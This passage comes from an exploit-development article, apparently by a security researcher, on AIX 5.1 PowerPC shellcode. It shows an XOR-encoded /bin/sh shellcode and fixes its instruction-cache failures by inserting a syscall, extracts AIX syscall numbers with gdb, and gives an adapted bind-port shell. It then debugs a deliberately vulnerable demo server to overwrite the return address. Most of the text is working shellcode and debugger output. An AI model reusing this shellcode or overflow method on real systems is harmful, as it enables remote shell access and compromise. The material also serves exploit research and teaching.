When I run the program in gdb, I find the
following problem:
(gdb) r
Starting program:
/home/san/test
Program received signal SIGSEGV, Segmentation
fault.
0x20000418 in shellcode ()
(gdb) x/8i $pc
0x20000418
<shellcode+48>: addi r3,r3,29
0x2000041c
<shellcode+52>: stw
r3,-8(r1)
0x20000420
<shellcode+56>: stw
r5,-4(r1)
0x20000424
<shellcode+60>: addi r4,r1,-8
0x20000428
<shellcode+64>: li r2,5
0x2000042c
<shellcode+68>: crorc
4*cr1+eq,4*cr1+eq,4*cr1+eq
0x20000430
<shellcode+72>: sc
0x20000434
<shellcode+76>: cmpdi
cr6,r2,26990
(gdb) x/24x $pc-48
0x200003e8 <shellcode>:
0x7ca52a79 0x4082fffd 0x7c6802a6 0x38630101
0x200003f8
<shellcode+16>: 0x3863ff26 0x39200101 0x3929ff23 0x7cc918ae
0x20000408
<shellcode+32>: 0x68c7fefe 0x7ce919ae 0x3529ffff 0x4082fff0
0x20000418
<shellcode+48>: 0x3863001d 0x9061fff8 0x90a1fffc 0x3881fff8
0x20000428
<shellcode+64>: 0x38400005 0x4cc63342 0x44000002 0x2f62696e
0x20000438
<shellcode+80>: 0x2f736800 0x00000000 0x100005a0 0x00000000
(gdb)
The
program halts at 0x20000418, and the instruction is "addi r3,r3,29". This
instruction has no problem, and all of real shellcode seems decoded
correctly, but the shellcode failed.
When I break at 0x20000418, it
is in different way after run:
(gdb) b *0x20000418
Breakpoint 1
at 0x20000418
(gdb) r
The program being debugged has been started
already.
Start it from the beginning? (y or n) y
Starting program:
/home/san/test
Breakpoint 1, 0x20000418 in shellcode ()
(gdb)
x/8i $pc
0x20000418
<shellcode+48>: lfsu f20,-285(r29)
0x2000041c
<shellcode+52>: stw
r3,-8(r1)
0x20000420
<shellcode+56>: stw
r5,-4(r1)
0x20000424
<shellcode+60>: addi r4,r1,-8
0x20000428
<shellcode+64>: li r2,5
0x2000042c
<shellcode+68>: crorc
4*cr1+eq,4*cr1+eq,4*cr1+eq
0x20000430
<shellcode+72>: sc
0x20000434
<shellcode+76>: cmpdi
cr6,r2,26990
(gdb) x/24x $pc-48
0x200003e8 <shellcode>:
0x7ca52a79 0x4082fffd 0x7c6802a6 0x38630101
0x200003f8
<shellcode+16>: 0x3863ff26 0x39200101 0x3929ff23 0x7cc918ae
0x20000408
<shellcode+32>: 0x68c7fefe 0x7ce919ae 0x3529ffff 0x4082fff0
0x20000418
<shellcode+48>: 0xc69dfee3 0x9061fff8 0x90a1fffc 0x3881fff8
0x20000428
<shellcode+64>: 0x38400005 0x4cc63342 0x44000002 0x2f62696e
0x20000438
<shellcode+80>: 0x2f736800 0x00000000 0x100005a0 0x00000000
(gdb)
I
found that the content of address 0x20000418 wasn't decoded. It was
strange! I discussed it with watercloud and alert7, and they said it might
be instruction cache or branch prediction. We found a discussion by
google:
http://seclists.org/lists/vuln-dev/2001/Nov/0325.html
AIX
has instruction cache and data cache. When execution begins, the
instructions are fetched from the instruction cache -- which isn't always
the same as what you put into the data cache. So, a normal xor decoder
won't work.
"A developer's guide to the PowerPC architecture"
introduced self-modifying code. While writing self-modifying code is not a
recommended practice, sometimes it is absolutely necessary. The following
sequence shows the instructions used to perform a code modification:
1. Store the modified instruction.
2. Issue the dcbst
instruction to force the cache line containing the modified instruction to
storage.
3. Issue the sync instruction to ensure dcbst is
completed.
4. Issue the icbi instruction to invalidate the instruction
cache line that will contain the modified instruction.
5. Issue the
isync instruction to clear the instruction pipeline of any instruction
that may have already been fetched from the cache line prior to the cache
line being invalidated.
6. It is now okay to execute the modified
instruction. An instruction cache miss will occur when fetching this
instruction, resulting in the fetching of the modified instruction from
storage.
H D Moore send me a sample on MacOSX, but these is a big
problem on my box.
OK, my AIX box like below:
bash-2.05b$
uname -a
AIX aix5 1 5 001381144C00
bash-2.05b$ lsattr -El
proc0
state
enable Processor state
False
type PowerPC_604 Processor
type False
frequency 232649620 Processor Speed
False
So sadly, My box doesn't support cache
instructions.
bash-2.05b$ cat testasm.s
.globl .main
.csect
.text[PR]
.main:
icbi %r6,
%r13
dcbf %r6,
%r13
bash-2.05b$ gcc testasm.s
testasm.s: Assembler
messages:
testasm.s:4: Error: Unrecognized opcode:
`icbi'
testasm.s:5: Error: Unrecognized opcode: `dcbf'
bash-2.05b$
/usr/ccs/bin/as testasm.s
Assembler:
testasm.s: line 4: 1252-149
Instruction icbi is not implemented in the current assembly mode
COM.
testasm.s: line 4: 1252-142 Syntax error.
testasm.s: line 5:
1252-149 Instruction dcbf is not implemented in the current assembly mode
COM.
testasm.s: line 5: 1252-142 Syntax error.
Neither GNU's as
and system's as cann't recognized these cache instructions. sync and isync
were supported.
-bash-2.05b$ cat test.c
char shellcode[] =
//
decoder
"\x7c\xa5\x2a\x79" // xor. %r5,
%r5,
%r5
"\x40\x82\xff\xfd" // bnel .main
"\x7c\x68\x02\xa6" // mflr %r3
"\x38\x63\x01\x01" // addi %r3,
%r3,
0x101
"\x38\x63\xff\x2e" // addi %r3,
%r3, -0xDA # r3 point start of real
shellcode-1
"\x39\x20\x01\x01" // li %r9,
0x101
"\x39\x29\xff\x23" // addi %r9,
%r9, -0xDD # shellcode
size+1
"\x7c\xc9\x18\xae" // lbzx %r6,
%r9, %r3 # read a
character
"\x68\xc7\xfe\xfe" // xori %r7,
%r6, 0xFEFE #
xor
"\x7c\xe9\x19\xae" // stbx %r7,
%r9, %r3 # store a
character
"\x35\x29\xff\xff" // subic. %r9,
%r9,
1
"\x40\x82\xff\xf0" // bne
Loop #
loop
"\x7c\x00\x04\xac" // sync
"\x4c\x00\x01\x2c" // isync
//
real
shellcode
"\xc6\x9d\xfe\xe3" // addi %r3,
%r3,
29
"\x6e\x9f\x01\x06" // stw
%r3,
-8(%r1)
"\x6e\x5f\x01\x02" // stw
%r5,
-4(%r1)
"\xc6\x7f\x01\x06" // subi %r4,
%r1,
8
"\xc6\xbe\xfe\xfb" // li %r2,
5
"\xb2\x38\xcd\xbc" // crorc
%cr6, %cr6,
%cr6
"\xba\xfe\xfe\xfc" // svca 0
"\xd1\x9c\x97\x90" // .byte
'/', 'b', 'i',
'n',
"\xd1\x8d\x96\xfe" // '/',
's', 'h', 0x0
;
int main() {
int
jump[2]={(int)shellcode,0};
((*(void
(*)())jump)());
}
I run this program in gdb direct to check sync
and isync whether they work well.
(gdb) r
Starting program:
/home/san/test
Program received signal SIGSEGV, Segmentation
fault.
0x20000420 in shellcode ()
(gdb) x/8i $pc-8
0x20000418
<shellcode+48>: sync
0x2000041c
<shellcode+52>: isync
0x20000420
<shellcode+56>: addi r3,r3,29
0x20000424
<shellcode+60>: stw
r3,-8(r1)
0x20000428
<shellcode+64>: stw
r5,-4(r1)
0x2000042c
<shellcode+68>: addi r4,r1,-8
0x20000430
<shellcode+72>: li r2,5
0x20000434
<shellcode+76>: crorc
4*cr1+eq,4*cr1+eq,4*cr1+eq
(gdb) x/24x $pc-56
0x200003e8
<shellcode>:
0x7ca52a79 0x4082fffd 0x7c6802a6 0x38630101
0x200003f8
<shellcode+16>: 0x3863ff2e 0x39200101 0x3929ff23 0x7cc918ae
0x20000408
<shellcode+32>: 0x68c7fefe 0x7ce919ae 0x3529ffff 0x4082fff0
0x20000418
<shellcode+48>: 0x7c0004ac 0x4c00012c 0x3863001d 0x9061fff8
0x20000428
<shellcode+64>: 0x90a1fffc 0x3881fff8 0x38400005 0x4cc63342
0x20000438
<shellcode+80>: 0x44000002 0x2f62696e 0x2f736800 0x00000000
The
program crashed at 0x20000420 too. I took a breakpoint at 0x20000420
first:
(gdb) b *0x20000420
Breakpoint 1 at 0x20000420
(gdb)
r
The program being debugged has been started already.
Start it from
the beginning? (y or n) y
Starting program:
/home/san/test
Breakpoint 1, 0x20000420 in shellcode ()
(gdb)
x/8i $pc-8
0x20000418
<shellcode+48>: sync
0x2000041c
<shellcode+52>: isync
0x20000420
<shellcode+56>: lfsu f20,-285(r29)
0x20000424
<shellcode+60>: stw
r3,-8(r1)
0x20000428
<shellcode+64>: stw
r5,-4(r1)
0x2000042c
<shellcode+68>: addi r4,r1,-8
0x20000430
<shellcode+72>: li r2,5
0x20000434
<shellcode+76>: crorc
4*cr1+eq,4*cr1+eq,4*cr1+eq
(gdb) x/24x $pc-56
0x200003e8
<shellcode>:
0x7ca52a79 0x4082fffd 0x7c6802a6 0x38630101
0x200003f8
<shellcode+16>: 0x3863ff2e 0x39200101 0x3929ff23 0x7cc918ae
0x20000408
<shellcode+32>: 0x68c7fefe 0x7ce919ae 0x3529ffff 0x4082fff0
0x20000418
<shellcode+48>: 0x7c0004ac 0x4c00012c 0xc69dfee3 0x9061fff8
0x20000428
<shellcode+64>: 0x90a1fffc 0x3881fff8 0x38400005 0x4cc63342
0x20000438
<shellcode+80>: 0x44000002 0x2f62696e 0x2f736800 0x00000000
(gdb)
Instruction
at 0x20000420 didn't decode! sync and isync have no effect.
When I
take a breakpoint at isync instruction, it works well too.
(gdb) b
*0x2000041c
Breakpoint 1 at 0x2000041c
(gdb) r
The program being
debugged has been started already.
Start it from the beginning? (y or
n) y
Starting program: /home/san/test
Breakpoint 1, 0x2000041c
in shellcode ()
(gdb) c
Continuing.
Program received signal
SIGTRAP, Trace/breakpoint trap.
0x10000100 in ?? ()
(gdb)
c
Continuing.
$ exit
Program exited normally.
Phil of
0dd showed his experience on ARM chip development. He said syscall
interrupt can flush instruction cache. So I modified my shellcode as
follows:
char shellcode[] =
//
decoder
"\x7d\xce\x72\x79" // xor. %r14,
%r14,
%r14
"\x40\x82\xff\xfd" // bnel .main
"\x7d\xe8\x02\xa6" // mflr %r15
"\x39\xef\x01\x01" // addi %r15,
%r15,
0x101
"\x39\xef\xff\x37" // addi %r15,
%r15, -0xC9 # r15 point to start of real
shellcode
"\x3a\x20\x01\x01" // li %r17,
0x101
"\x38\x51\xff\xe1" // addi %r2,
%r17, -0x1F # r2=0xe2 syscall number of
sync.
"\x3a\x31\xff\x2f" // addi %r17,
%r17, -0xD1 # shellcode
size
"\x7e\x51\x78\xae" // lbzx %r18,
%r17, %r15 # read a
character
"\x6a\x53\xfe\xfe" // xori %r19,
%r18, 0xFEFE #
xor
"\x7e\x71\x79\xae" // stbx %r19,
%r17, %r15 # store a
character
"\x36\x31\xff\xff" // subic. %r17,
%r17,
1
"\x40\x80\xff\xf0" // bne
Loop #
loop
"\x4c\xc6\x33\x42" // crorc
%cr6, %cr6,
%cr6
"\x7d\xe8\x03\xa6" // mtlr %r15 #
lr=real shellcode
address
"\x44\xff\xff\x02" // svca 0
//
real
shellcode
"\xc6\x91\xfe\xde" // addi %r3,
%r15,
32
"\x6e\x9f\x01\x06" // stw
%r3,
-8(%r1)
"\x83\x3b\x8d\x86" // mr %r5,
%r14
"\x6e\x5f\x01\x02" // stw
%r5,
-4(%r1)
"\xc6\x7f\x01\x06" // subi %r4,
%r1,
8
"\xc6\xbe\xfe\xfb" // li %r2,
5
"\xb2\x38\xcd\xbc" // crorc
%cr6, %cr6,
%cr6
"\xba\xfe\xfe\xfc" // svca 0
"\xd1\x9c\x97\x90" // .byte
'/', 'b', 'i',
'n',
"\xd1\x8d\x96\xfe" // '/',
's', 'h', 0x0
;
int main() {
int
jump[2]={(int)shellcode,0};
((*(void
(*)())jump)());
}
-bash-2.05b$ ./test_3
$ id
uid=202(san)
gid=1(staff)
$ exit
-bash-2.05b$
It runs well. After syscall,
the system executes lr register and the instruction will not be cache. So
inserting a syscall before real shellcode is the way to resolve I-cache
problem.
--[ 7 - How to debug remote overflow
LSD provided
some remote shellcodes from UNIX Assembly Codes Development for
Vulnerabilities Illustration Purposes.
The following C program
describes a simple bind port function.
-bash-2.05b$ cat
bind.c
#include <unistd.h>
#include
<sys/socket.h>
#include <netinet/in.h>
#include
<fcntl.h>
int soc,cli,i;
struct sockaddr_in
serv_addr;
int
main()
{
serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=0;
serv_addr.sin_port=0x1234;
soc=socket(2,1,0);
bind(soc,(struct
sockaddr
*)&serv_addr,0x10);
listen(soc,5);
cli=accept(soc,0,0);
for
(i=2;i>=0;i--)
{
close(i);
kfcntl(cli,
0,
i);
}
execve("/bin/sh",
0, 0);
}
kfcntl syscall is the last call of dup2 on
AIX.
-bash-2.05b$ gdb bind
GNU gdb 6.1
Copyright 2004 Free
Software Foundation, Inc.
GDB is free software, covered by the GNU
General Public License, and you are
welcome to change it and/or
distribute copies of it under certain conditions.
Type "show copying"
to see the conditions.
There is absolutely no warranty for
GDB. Type "show warranty" for details.
This GDB was
configured as "powerpc-ibm-aix5.1.0.0"...
(gdb) disas main
Dump of
assembler code for function main:
0x10000534
<main+0>: mflr r0
0x10000538
<main+4>: stw
r31,-4(r1)
0x1000053c
<main+8>: stw
r0,8(r1)
0x10000540 <main+12>:
stwu r1,-72(r1)
0x10000544
<main+16>:
mr r31,r1
0x10000548
<main+20>: lwz
r9,108(r2)
0x1000054c <main+24>:
li r0,2
0x10000550
<main+28>: stb
r0,1(r9)
0x10000554 <main+32>:
lwz r9,108(r2)
0x10000558
<main+36>:
li r0,0
0x1000055c
<main+40>: stw
r0,4(r9)
0x10000560 <main+44>:
lwz r9,108(r2)
0x10000564
<main+48>:
li r0,4660
0x10000568
<main+52>: sth
r0,2(r9)
0x1000056c <main+56>:
li r3,2
0x10000570
<main+60>:
li r4,1
0x10000574
<main+64>:
li r5,0
0x10000578
<main+68>:
bl 0x1000734c
<socket>
0x1000057c <main+72>:
lwz r2,20(r1)
0x10000580
<main+76>:
mr r0,r3
0x10000584
<main+80>: lwz
r9,112(r2)
0x10000588 <main+84>:
stw r0,0(r9)
0x1000058c
<main+88>: lwz
r9,112(r2)
0x10000590 <main+92>:
lwz r3,0(r9)
0x10000594
<main+96>: lwz
r4,108(r2)
0x10000598
<main+100>: li r5,16
0x1000059c
<main+104>: bl 0x10007448
<bind>
0x100005a0
<main+108>: lwz
r2,20(r1)
0x100005a4
<main+112>: lwz
r9,112(r2)
0x100005a8
<main+116>: lwz
r3,0(r9)
0x100005ac
<main+120>: li r4,5
0x100005b0
<main+124>: bl 0x1000746c
<listen>
0x100005b4
<main+128>: lwz
r2,20(r1)
0x100005b8
<main+132>: lwz
r9,112(r2)
0x100005bc
<main+136>: lwz
r3,0(r9)
0x100005c0
<main+140>: li r4,0
0x100005c4
<main+144>: li r5,0
0x100005c8
<main+148>: bl 0x10007394
<naccept>
0x100005cc
<main+152>: lwz
r2,20(r1)
0x100005d0
<main+156>: mr r0,r3
0x100005d4
<main+160>: lwz
r9,116(r2)
0x100005d8
<main+164>: stw
r0,0(r9)
0x100005dc
<main+168>: lwz
r9,120(r2)
0x100005e0
<main+172>: li r0,2
0x100005e4
<main+176>: stw
r0,0(r9)
0x100005e8
<main+180>: lwz
r9,120(r2)
0x100005ec
<main+184>: lwz
r0,0(r9)
0x100005f0 <main+188>: cmpwi
r0,0
0x100005f4
<main+192>: bge- 0x100005fc
<main+200>
0x100005f8
<main+196>: b
0x10000640 <main+268>
0x100005fc
<main+200>: lwz
r9,120(r2)
0x10000600
<main+204>: lwz
r3,0(r9)
0x10000604
<main+208>: bl 0x100074b4
<close>
0x10000608
<main+212>: lwz
r2,20(r1)
0x1000060c
<main+216>: lwz
r9,116(r2)
0x10000610
<main+220>: lwz
r11,120(r2)
0x10000614
<main+224>: lwz
r3,0(r9)
0x10000618
<main+228>: li r4,0
0x1000061c
<main+232>: lwz
r5,0(r11)
0x10000620
<main+236>: bl 0x100074d8
<kfcntl>
0x10000624
<main+240>: lwz
r2,20(r1)
0x10000628
<main+244>: lwz
r11,120(r2)
0x1000062c
<main+248>: lwz
r9,120(r2)
0x10000630
<main+252>: lwz
r9,0(r9)
0x10000634
<main+256>: addi r0,r9,-1
0x10000638
<main+260>: stw
r0,0(r11)
0x1000063c
<main+264>: b
0x100005e8 <main+180>
0x10000640
<main+268>: lwz
r3,124(r2)
0x10000644
<main+272>: li r4,0
0x10000648
<main+276>: li r5,0
0x1000064c
<main+280>: bl 0x10007328
<execve>
0x10000650
<main+284>: lwz
r2,20(r1)
0x10000654
<main+288>: mr r3,r0
0x10000658
<main+292>: lwz
r1,0(r1)
0x1000065c
<main+296>: lwz
r0,8(r1)
0x10000660
<main+300>: mtlr r0
0x10000664
<main+304>: lwz
r31,-4(r1)
0x10000668 <main+308>: blr
0x1000066c
<main+312>: .long 0x0
0x10000670
<main+316>: .long 0x2061
0x10000674
<main+320>: lwz
r0,1(r1)
0x10000678 <main+324>: .long
0x138
0x1000067c <main+328>: .long
0x46d61
0x10000680
<main+332>: xori r14,r11,7936
End
of assembler dump.
GDB displays entry address of all the functions,
and we take breakpoints on these addresses.
(gdb) b
*0x1000734c
Breakpoint 1 at 0x1000734c
(gdb) b
*0x10007448
Breakpoint 2 at 0x10007448
(gdb) b
*0x1000746c
Breakpoint 3 at 0x1000746c
(gdb) b
*0x10007394
Breakpoint 4 at 0x10007394
(gdb) b
*0x100074b4
Breakpoint 5 at 0x100074b4
(gdb) b
*0x100074d8
Breakpoint 6 at 0x100074d8
(gdb) b
*0x10007328
Breakpoint 7 at 0x10007328
When the program runs,
gdb will break into these functions, so we can obtain syscall numbers of
these functions.
(gdb) r
Starting program:
/home/san/bind
Breakpoint 1, 0x1000734c in socket ()
(gdb) x/8i
$pc
0x1000734c
<socket>: lwz
r12,4(r2)
0x10007350
<socket+4>: stw
r2,20(r1)
0x10007354
<socket+8>: lwz
r0,0(r12)
0x10007358 <socket+12>: lwz
r2,4(r12)
0x1000735c <socket+16>: mtctr
r0
0x10007360 <socket+20>: bctr
0x10007364 <socket+24>:
.long 0x0
0x10007368 <socket+28>: .long 0xc8000
(gdb)
si
0x10007350 in socket ()
(gdb)
0x10007354 in socket
()
(gdb)
0x10007358 in socket ()
(gdb)
0x1000735c in socket
()
(gdb) p/x $r2
$1 = 0x8d
(gdb)
c
Continuing.
Breakpoint 2, 0x10007448 in bind ()
(gdb) x/8i
$pc
0x10007448
<bind>: lwz
r12,32(r2)
0x1000744c
<bind+4>: stw
r2,20(r1)
0x10007450
<bind+8>: lwz
r0,0(r12)
0x10007454 <bind+12>:
lwz r2,4(r12)
0x10007458
<bind+16>: mtctr r0
0x1000745c
<bind+20>: bctr
0x10007460
<bind+24>: .long 0x0
0x10007464
<bind+28>: .long 0xc8000
(gdb) si
0x1000744c in
bind ()
(gdb)
0x10007450 in bind ()
(gdb)
0x10007454 in bind
()
(gdb)
0x10007458 in bind ()
(gdb) p/x $r2
$2 =
0x8c
(gdb) c
Continuing.
Breakpoint 3, 0x1000746c in listen
()
(gdb) x/8i $pc
0x1000746c
<listen>: lwz
r12,36(r2)
0x10007470
<listen+4>: stw
r2,20(r1)
0x10007474
<listen+8>: lwz
r0,0(r12)
0x10007478 <listen+12>: lwz
r2,4(r12)
0x1000747c <listen+16>: mtctr
r0
0x10007480 <listen+20>: bctr
0x10007484 <listen+24>:
.long 0x0
0x10007488 <listen+28>: .long 0xc8000
(gdb)
si
0x10007470 in listen ()
(gdb)
0x10007474 in listen
()
(gdb)
0x10007478 in listen ()
(gdb)
0x1000747c in listen
()
(gdb) p/x $r2
$5 = 0x8b
(gdb)
c
Continuing.
Breakpoint 4, 0x10007394 in naccept ()
(gdb)
x/8i $pc
0x10007394 <naccept>:
lwz r12,12(r2)
0x10007398 <naccept+4>:
stw r2,20(r1)
0x1000739c <naccept+8>:
lwz r0,0(r12)
0x100073a0
<naccept+12>: lwz
r2,4(r12)
0x100073a4
<naccept+16>: mtctr
r0
0x100073a8
<naccept+20>: bctr
0x100073ac
<naccept+24>: .long
0x0
0x100073b0
<naccept+28>: .long
0xc8000
(gdb) si
0x10007398 in naccept ()
(gdb)
0x1000739c in
naccept ()
(gdb)
0x100073a0 in naccept ()
(gdb)
0x100073a4 in
naccept ()
(gdb) p/x $r2
$6 = 0x8a
(gdb)
c
Continuing.
Breakpoint 5, 0x100074b4 in close ()
(gdb) x/8i
$pc
0x100074b4 <close>:
lwz r12,44(r2)
0x100074b8
<close+4>: stw
r2,20(r1)
0x100074bc <close+8>:
lwz r0,0(r12)
0x100074c0
<close+12>: lwz
r2,4(r12)
0x100074c4 <close+16>: mtctr
r0
0x100074c8 <close+20>: bctr
0x100074cc
<close+24>: .long 0x0
0x100074d0
<close+28>: .long 0xc8000
(gdb) si
0x100074b8 in
close ()
(gdb)
0x100074bc in close ()
(gdb)
0x100074c0 in
close ()
(gdb)
0x100074c4 in close ()
(gdb) p/x $r2
$7 =
0xa0
(gdb) c
Continuing.
Breakpoint 6, 0x100074d8 in kfcntl
()
(gdb) x/8i $pc
0x100074d8
<kfcntl>: lwz
r12,48(r2)
0x100074dc
<kfcntl+4>: stw
r2,20(r1)
0x100074e0
<kfcntl+8>: lwz
r0,0(r12)
0x100074e4 <kfcntl+12>: lwz
r2,4(r12)
0x100074e8 <kfcntl+16>: mtctr
r0
0x100074ec <kfcntl+20>: bctr
0x100074f0 <kfcntl+24>:
.long 0x0
0x100074f4 <kfcntl+28>: .long 0xc8000
(gdb)
si
0x100074dc in kfcntl ()
(gdb)
0x100074e0 in kfcntl
()
(gdb)
0x100074e4 in kfcntl ()
(gdb)
0x100074e8 in kfcntl
()
(gdb) p/x $r2
$1 = 0x142
(gdb)
c
Continuing.
Breakpoint 7, 0x10007328 in execve ()
(gdb)
x/8i $pc
0x10007328
<execve>: lwz
r12,0(r2)
0x1000732c
<execve+4>: stw
r2,20(r1)
0x10007330
<execve+8>: lwz
r0,0(r12)
0x10007334 <execve+12>: lwz
r2,4(r12)
0x10007338 <execve+16>: mtctr
r0
0x1000733c <execve+20>: bctr
0x10007340 <execve+24>:
.long 0x0
0x10007344 <execve+28>: .long 0xc8000
(gdb)
si
0x1000732c in execve ()
(gdb)
0x10007330 in execve
()
(gdb)
0x10007334 in execve ()
(gdb)
0x10007338 in execve
()
(gdb) p/x $r2
$9 = 0x5
OK, we found the syscall numbers in
AIX 5.1 that we
needed.
socket=0x8d
bind=0x8c
listen=0x8b
naccept=0x8a
close=0xa0
kfcntl=0x142
execve=0x05
We
modify a little of LSD's shellcode.
char lsd[]
=
"\x7e\x94\xa2\x79" /*
xor. r20,r20,r20 */
"\x40\x82\xff\xfd"
/*
bnel <syscallcode> */
"\x7e\xa8\x02\xa6"
/*
mflr r21 */
"\x3a\xc0\x01\xff"
/* lil
r22,0x1ff */
"\x3a\xf6\xfe\x2d"
/* cal
r23,-467(r22) */
"\x7e\xb5\xba\x14"
/* cax
r21,r21,r23 */
"\x7e\xa9\x03\xa6"
/* mtctr
r21 */
"\x4e\x80\x04\x20"
/*
bctr
*/
"\x05\x82\x53\xa0"
/* syscall
numbers */
"\x87\xa0\x01\x42"
/* execve=0x05 close=0xa0
*/
"\x8d\x8c\x8b\x8a"
/* socket=0x8d
bind=0x8c */
/* listen=0x8b naccept=0x8a
*/
/*
kfcntl=0x142
*/
"\x4c\xc6\x33\x42"
/* crorc
cr6,cr6,cr6 */
"\x44\xff\xff\x02"
/*
svca 0x0 */
"\x3a\xb5\xff\xf8"
/* cal
r21,-8(r21) */
"\x2c\x74\x12\x34"
/*
cmpi cr0,r20,0x1234
*/
"\x41\x82\xff\xfd"
/*
beql <bindsckcode> */
"\x7f\x08\x02\xa6"
/*
mflr r24 */
"\x92\x98\xff\xfc"
/*
st r20,-4(r24) */
"\x38\x76\xfe\x03"
/* cal
r3,-509(r22)
*/
"\x38\x96\xfe\x02"
/* cal
r4,-510(r22)
*/
"\x98\x78\xff\xf9"
/* stb
r3,-7(r24)
*/
"\x7e\x85\xa3\x78"
/*
mr r5,r20
*/
"\x88\x55\xff\xfc"
/* lbz
r2,-4(r21)
*/
"\x7e\xa9\x03\xa6"
/* mtctr
r21 */
"\x4e\x80\x04\x21"
/*
bctrl */
"\x7c\x79\x1b\x78"
/*
mr r25,r3
*/
"\x38\x98\xff\xf8"
/* cal
r4,-8(r24)
*/
"\x38\xb6\xfe\x11"
/* cal
r5,-495(r22)
*/
"\x88\x55\xff\xfd"
/* lbz
r2,-3(r21)
*/
"\x7e\xa9\x03\xa6"
/* mtctr
r21 */
"\x4e\x80\x04\x21"
/*
bctrl */
"\x7f\x23\xcb\x78"
/*
mr r3,r25
*/
"\x38\x96\xfe\x06"
/* cal
r4,-506(r22)
*/
"\x88\x55\xff\xfe"
/* lbz
r2,-2(r21)
*/
"\x7e\xa9\x03\xa6"
/* mtctr
r21 */
"\x4e\x80\x04\x21"
/*
bctrl */
"\x7f\x23\xcb\x78"
/*
mr r3,r25
*/
"\x7e\x84\xa3\x78"
/*
mr r4,r20
*/
"\x7e\x85\xa3\x78"
/*
mr r5,r20
*/
"\x88\x55\xff\xff"
/* lbz
r2,-1(r21)
*/
"\x7e\xa9\x03\xa6"
/* mtctr
r21 */
"\x4e\x80\x04\x21"
/*
bctrl */
"\x7c\x79\x1b\x78"
/*
mr r25,r3
*/
"\x3b\x56\xfe\x03"
/* cal
r26,-509(r22) */
"\x7f\x43\xd3\x78"
/*
mr r3,r26
*/
"\x88\x55\xff\xf7"
/* lbz
r2,-9(r21)
*/
"\x7e\xa9\x03\xa6"
/* mtctr
r21 */
"\x4e\x80\x04\x21"
/*
bctrl */
"\x7f\x23\xcb\x78"
/*
mr r3,r25
*/
"\x7e\x84\xa3\x78"
/*
mr r4,r20
*/
"\x7f\x45\xd3\x78"
/*
mr r5,r26
*/
"\xa0\x55\xff\xfa"
/* lhz
r2,-6(r21)
*/
"\x7e\xa9\x03\xa6"
/* mtctr
r21 */
"\x4e\x80\x04\x21"
/*
bctrl */
"\x37\x5a\xff\xff"
/* ai.
r26,r26,-1
*/
"\x40\x80\xff\xd4"
/* bge
<bindsckcode+120> */
"\x7c\xa5\x2a\x79"
/*
xor. r5,r5,r5
*/
"\x40\x82\xff\xfd"
/*
bnel <shellcode> */
"\x7f\xe8\x02\xa6"
/*
mflr r31 */
"\x3b\xff\x01\x20"
/* cal
r31,0x120(r31)
*/
"\x38\x7f\xff\x08"
/* cal
r3,-248(r31)
*/
"\x38\x9f\xff\x10"
/* cal
r4,-240(r31)
*/
"\x90\x7f\xff\x10"
/*
st r3,-240(r31)
*/
"\x90\xbf\xff\x14"
/*
st r5,-236(r31)
*/
"\x88\x55\xff\xf4"
/* lbz
r2,-12(r21) */
"\x98\xbf\xff\x0f"
/* stb
r5,-241(r31)
*/
"\x7e\xa9\x03\xa6"
/* mtctr
r21 */
"\x4e\x80\x04\x20"
/*
bctr
*/
"/bin/sh"
;
int
main() {
int jump[2]={(int)lsd,0};
((*(void
(*)())jump)());
}
It seems good, let's try remote
overflow.
/* server.c - overflow
demo
*
* 2004.06.16
* san@nsfocus.com
*/
#include
<stdio.h>
#include <sys/types.h>
#include
<sys/socket.h>
#include <netinet/in.h>
char
Buff[1024];
void overflow(char * s,int
size)
{
char
s1[50];
printf("receive %d
bytes",size);
s[size]=0;
//strcpy(s1,s);
memcpy(s1,
s, size);
// There must be a syscall after
overflow at least, otherwise I-cache will afflict you.
;-)
sync();
}
int main(int argc, char
*argv[])
{
int s, c, ret, lBytesRead;
struct sockaddr_in srv;
s = socket(AF_INET, SOCK_STREAM, 0);
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons(4444);
srv.sin_family = AF_INET;
bind(s, &srv, sizeof(srv));
listen(s, 3);
c
=
accept(s,NULL,NULL);
while(1)
{
lBytesRead = recv(c,
Buff, 1024,
0);
if(lBytesRead<=0) break;
printf("fd
= %x recv %d bytes\n", c,
lBytesRead);
overflow(Buff,
lBytesRead);
ret=send(c,Buff,lBytesRead,0);
if(ret<=0) break;
}
close(s);
close(c);
}
The
debugs in remote and local buffer overflow are not different, and the key
is to find the overflow point. You may need construct various network data
structures in remote overflow.
The following is the debug process
that uses gdb to find return address and the overflow buffer
size.
-bash-2.05b$ gdb server
GNU gdb 6.1
Copyright 2004 Free
Software Foundation, Inc.
GDB is free software, covered by the GNU
General Public License, and you are
welcome to change it and/or
distribute copies of it under certain conditions.
Type "show copying"
to see the conditions.
There is absolutely no warranty for
GDB. Type "show warranty" for details.
This GDB was
configured as "powerpc-ibm-aix5.1.0.0"...
(gdb) r
Starting program:
/home/san/server
Client connect to server and send overrun
data.
-bash-2.05b$ telnet localhost 4444
Trying...
Connected
to localhost.
Escape character is
'^]'.
ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
Server
side will receive a Segmentation fault.
Program received signal
SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb) x/8x
$r1
0x2ff22b58:
0x41424344 0x41424344 0x41424344 0x0d0a6648
0x2ff22b68:
0x00000000 0x20001000 0x20001110 0x0000005e
We
must overwrite r1+8 that the value of lr register after function return.
Then, all of the register like below:
(gdb) i
reg
r0
0x41424344
1094861636
r1
0x2ff22b58
804399960
r2
0x20001000
536875008
r3
0x1757180 24473984
r4
0x0 0
r5
0x2ff22ffc
804401148
r6
0xd032
53298
r7
0x0 0
r8
0x60000000
1610612736
r9
0x600045f0
1610630640
r10 0x0 0
r11 0x60003bca
1610628042
r12 0x2ff3b400
804500480
r13 0xdeadbeef
-559038737
r14 0x1 1
r15 0x2ff22c08
804400136
r16 0x2ff22c10
804400144
r17 0x0 0
r18 0xdeadbeef
-559038737
r19 0xdeadbeef
-559038737
r20 0xdeadbeef
-559038737
r21 0xdeadbeef
-559038737
r22 0xdeadbeef
-559038737
r23 0xdeadbeef
-559038737
r24 0xdeadbeef
-559038737
r25 0xdeadbeef
-559038737
r26 0xdeadbeef
-559038737
r27 0xdeadbeef
-559038737
r28 0x20000640
536872512
r29 0x10000000
268435456
r30 0x3 3
r31 0x41424344
1094861636
pc
0x41424344
1094861636
ps
0x4000d032
1073795122
cr
0x2a222828
706881576
lr
